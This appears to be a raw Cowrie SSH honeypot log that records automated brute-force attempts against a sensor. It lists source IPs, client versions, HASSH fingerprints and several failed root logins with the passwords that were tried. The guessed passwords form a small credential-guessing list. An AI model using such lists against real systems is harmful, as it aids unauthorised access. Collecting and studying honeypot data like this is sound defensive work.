{"eventid":"cowrie.login.failed","username":"root","password":"224466","message":"login attempt [root/224466] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:18.562413Z","src_ip":"103.195.236.96","session":"1715e68416d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:19.810399Z","src_ip":"103.195.236.96","session":"1715e68416d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":54802,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6a6f8f64589","protocol":"ssh","message":"New connection: 43.134.112.237:54802 (159.203.135.109:22) [session: a6a6f8f64589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:20.945736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:20.950633Z","src_ip":"43.134.112.237","session":"a6a6f8f64589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:21.196393Z","src_ip":"43.134.112.237","session":"a6a6f8f64589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"godisgreat","message":"login attempt [root/godisgreat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:22.207824Z","src_ip":"43.134.112.237","session":"a6a6f8f64589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:23.456963Z","src_ip":"43.134.112.237","session":"a6a6f8f64589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":39528,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f1d5f6527d3","protocol":"ssh","message":"New connection: 217.154.42.110:39528 (159.203.135.109:22) [session: 1f1d5f6527d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:26.429398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:26.434458Z","src_ip":"217.154.42.110","session":"1f1d5f6527d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:26.514133Z","src_ip":"217.154.42.110","session":"1f1d5f6527d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sisadmin","message":"login attempt [root/sisadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:26.864776Z","src_ip":"217.154.42.110","session":"1f1d5f6527d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:27.947511Z","src_ip":"217.154.42.110","session":"1f1d5f6527d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":44274,"dst_ip":"159.203.135.109","dst_port":22,"session":"254819b7e1a7","protocol":"ssh","message":"New connection: 43.134.104.184:44274 (159.203.135.109:22) [session: 254819b7e1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:31.674272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:31.679134Z","src_ip":"43.134.104.184","session":"254819b7e1a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:31.916207Z","src_ip":"43.134.104.184","session":"254819b7e1a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lennon","message":"login attempt [root/lennon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:32.894534Z","src_ip":"43.134.104.184","session":"254819b7e1a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43604,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5ea1b039ac5","protocol":"ssh","message":"New connection: 103.27.238.116:43604 (10.17.0.5:22) [session: b5ea1b039ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:33.648863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:33.654025Z","src_ip":"103.27.238.116","session":"b5ea1b039ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64813,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac7a4ac7a737","protocol":"ssh","message":"New connection: 167.172.81.52:64813 (10.17.0.5:22) [session: ac7a4ac7a737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:33.852891Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:33.857884Z","src_ip":"167.172.81.52","session":"ac7a4ac7a737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:33.865476Z","src_ip":"167.172.81.52","session":"ac7a4ac7a737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:33.928902Z","src_ip":"103.27.238.116","session":"b5ea1b039ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:34.134849Z","src_ip":"43.134.104.184","session":"254819b7e1a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111qqqq","message":"login attempt [root/1111qqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:34.754156Z","src_ip":"103.27.238.116","session":"b5ea1b039ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:36.031030Z","src_ip":"103.27.238.116","session":"b5ea1b039ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":38268,"dst_ip":"10.17.0.5","dst_port":22,"session":"289de39e5b4a","protocol":"ssh","message":"New connection: 154.70.102.114:38268 (10.17.0.5:22) [session: 289de39e5b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:37.227708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:37.232629Z","src_ip":"154.70.102.114","session":"289de39e5b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:37.438537Z","src_ip":"154.70.102.114","session":"289de39e5b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd1234","message":"login attempt [root/Passw0rd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:38.293035Z","src_ip":"154.70.102.114","session":"289de39e5b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:39.500975Z","src_ip":"154.70.102.114","session":"289de39e5b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48822,"dst_ip":"10.17.0.5","dst_port":22,"session":"673f495f6d6e","protocol":"ssh","message":"New connection: 193.37.70.224:48822 (10.17.0.5:22) [session: 673f495f6d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:41.655765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:41.659839Z","src_ip":"193.37.70.224","session":"673f495f6d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:41.751511Z","src_ip":"193.37.70.224","session":"673f495f6d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zz123456","message":"login attempt [root/zz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:42.021344Z","src_ip":"193.37.70.224","session":"673f495f6d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:43.115266Z","src_ip":"193.37.70.224","session":"673f495f6d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37034,"dst_ip":"159.203.135.109","dst_port":22,"session":"e96c677a7808","protocol":"ssh","message":"New connection: 80.66.85.226:37034 (159.203.135.109:22) [session: e96c677a7808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:45.024696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:45.030723Z","src_ip":"80.66.85.226","session":"e96c677a7808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:45.124281Z","src_ip":"80.66.85.226","session":"e96c677a7808","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"geibcnbr","message":"login attempt [root/geibcnbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:45.405716Z","src_ip":"80.66.85.226","session":"e96c677a7808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:46.502219Z","src_ip":"80.66.85.226","session":"e96c677a7808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":53402,"dst_ip":"159.203.135.109","dst_port":22,"session":"88cd31dc4eeb","protocol":"ssh","message":"New connection: 69.49.246.176:53402 (159.203.135.109:22) [session: 88cd31dc4eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:50.705835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:50.712395Z","src_ip":"69.49.246.176","session":"88cd31dc4eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:50.741981Z","src_ip":"69.49.246.176","session":"88cd31dc4eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"subsonic","message":"login attempt [root/subsonic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:50.895191Z","src_ip":"69.49.246.176","session":"88cd31dc4eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:51.928667Z","src_ip":"69.49.246.176","session":"88cd31dc4eeb","protocol":"ssh"}
